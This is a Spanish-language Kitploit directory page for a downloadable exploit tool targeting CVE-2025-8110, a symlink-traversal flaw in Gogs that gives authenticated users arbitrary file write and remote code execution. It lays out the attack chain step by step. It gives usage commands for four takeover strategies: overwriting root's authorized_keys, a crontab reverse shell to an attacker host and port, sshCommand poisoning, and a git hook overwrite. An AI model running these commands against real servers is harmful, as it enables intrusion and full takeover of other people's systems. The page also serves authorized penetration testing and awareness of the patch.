Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-8110 — Recorrido de enlace simbólico de Gogs → RCE | Kitploit
Herramientas/GitHubGitHub/popyue/cve-2025-8110
Escalada de PrivilegiosAnálisis de VulnerabilidadesExplotaciónMovimiento LateralExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónRed TeamingDesarrollo de Payloads
GitHubpopyue/cve-2025-8110

CVE-2025-8110

Recorrido de enlace simbólico de Gogs → RCE

hace 4 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio

CVE-2025-8110 — Traversal de enlaces simbólicos en Gogs → RCE

Resumen

CVE-2025-8110 es una vulnerabilidad crítica en Gogs (servicio Git autoalojado) versiones <= 0.13.3. La API PutContents valida las rutas de archivo contra el recorrido de directorios (../) pero no resuelve los enlaces simbólicos antes de escribir. Un usuario autenticado puede subir un commit que contenga un enlace simbólico apuntando a cualquier archivo del servidor, y luego llamar a PutContents sobre ese enlace para sobrescribir el archivo real con contenido controlado por el atacante.

Esto es una evasión de la corrección de la anterior CVE-2024-55947, que solo corregía el recorrido de directorios directo, pero no el recorrido basado en enlaces simbólicos.

DetalleValor
CVECVE-2025-8110
AfectadosGogs <= 0.13.3
CorregidoGogs 0.13.4
TipoEscritura arbitraria de archivos autenticada → RCE
CVSS8.8 (Alta)
ComponenteAPI PutContents (/api/v1/repos/:owner/:repo/contents/:path)

Requisitos

  • Python 3.8+
  • requests (pip install requests)
  • CLI de git
  • Una cuenta de Gogs válida en la instancia objetivo

Estrategias de RCE

Este exploit admite 4 estrategias RCE integradas más un modo genérico de escritura de archivos:

Uso

root@kitploit:~
# Check if target is vulnerable (no credentials needed)
python3 exploit.py http://target:3000 --check-only

# Strategy A: Plant SSH key for root access
python3 exploit.py http://target:3000 -u user -p pass \
    --rce-keys ~/.ssh/id_rsa.pub --cleanup

# Strategy B: Crontab reverse shell
python3 exploit.py http://target:3000 -u user -p pass \
    --rce-cron --lhost 10.10.14.5 --lport 4444

# Strategy C: sshCommand injection
python3 exploit.py http://target:3000 -u user -p pass \
    --rce-ssh --lhost 10.10.14.5 --lport 4444

# Strategy D: Git hook injection
python3 exploit.py http://target:3000 -u user -p pass \
    --rce-hook --lhost 10.10.14.5 --lport 4444

# Generic file write
python3 exploit.py http://target:3000 -u user -p pass \
    --write --target-file /tmp/pwned --content "proof-of-concept"

# Write from local file
python3 exploit.py http://target:3000 -u user -p pass \
    --write --target-file /root/.ssh/authorized_keys \
    --content-file ~/.ssh/id_rsa.pub

Detalle de la cadena de ataque

  1. Autenticarse — Crear un token de API mediante Basic Auth (POST /api/v1/users/:user/tokens) - Iniciar sesión mediante token de API (Basic Auth)
  2. Crear repositorio — POST /api/v1/user/repos con auto_init: true(POST /api/v1/user/repos (auto_init))
  3. Subir symlink — Clonar el repositorio a través de HTTP (credenciales incrustadas en la URL), crear un enlace simbólico que apunte al archivo objetivo, hacer commit y push (git clone -> os.symlink(target) -> git push)
  4. Escribir a través del symlink — PUT /api/v1/repos/:owner/:repo/contents/:link con contenido codificado en base64. Gogs resuelve el enlace simbólico en el disco y escribe en el archivo real (PUT /api/v1/repos/.../contents/linkn_ame)
  5. Disparar RCE — El disparador de RCE depende de la estrategia (inicio de sesión SSH, ejecución de cron, evaluación de sshCommand o ejecución de hook)

Opciones

root@kitploit:~
target                  Gogs base URL (e.g. http://target:3000)

Authentication:
  -u, --user            Gogs username
  -p, --password        Gogs password

RCE Strategies:
  --rce-keys PUBKEY     Plant SSH pubkey → /root/.ssh/authorized_keys
  --rce-cron            Reverse shell → /etc/crontab
  --rce-ssh             Poison .git/config sshCommand + trigger
  --rce-hook            Overwrite pre-receive hook + trigger
  --write               Generic arbitrary file write

Connection / Payload:
  --lhost LHOST         Attacker IP for reverse shell
  --lport LPORT         Attacker port for reverse shell
  --target-file PATH    Server path to overwrite (--write mode)
  --content STRING      Content to write
  --content-file FILE   Local file to write

Options:
  --repo NAME           Repository name (default: random)
  --cleanup             Delete exploit repo after completion
  -o, --output FILE     Report file (default: loot.json)
  --timeout SECONDS     Request timeout (default: 15)
  --proxy URL           HTTP proxy for debugging
  --check-only          Only check if target is Gogs, don't exploit

Referencias

  • Blog de investigación de Wiz
  • NVD — CVE-2025-8110
  • Parche de Gogs PR #8078
  • GHSA-mq8m-42gh-wq7r

Descargo de responsabilidad

Esta herramienta se proporciona únicamente para pruebas de seguridad autorizadas y fines educativos. El acceso no autorizado a sistemas informáticos es ilegal. El autor no asume ninguna responsabilidad por el mal uso. Úsela solo en sistemas que posea o para los que tenga permiso explícito por escrito para probar.

Descargar herramienta
EstrategiaFlagArchivo objetivoActivación
A — Claves SSH--rce-keys/root/.ssh/authorized_keysInicio de sesión SSH
B — Crontab--rce-cron/etc/crontabAutomática (en 60 s)
C — sshCommand--rce-ssh.git/configOperación git por SSH
D — Git Hook--rce-hookhooks/pre-receivegit push
Genérico--writeCualquier rutaManual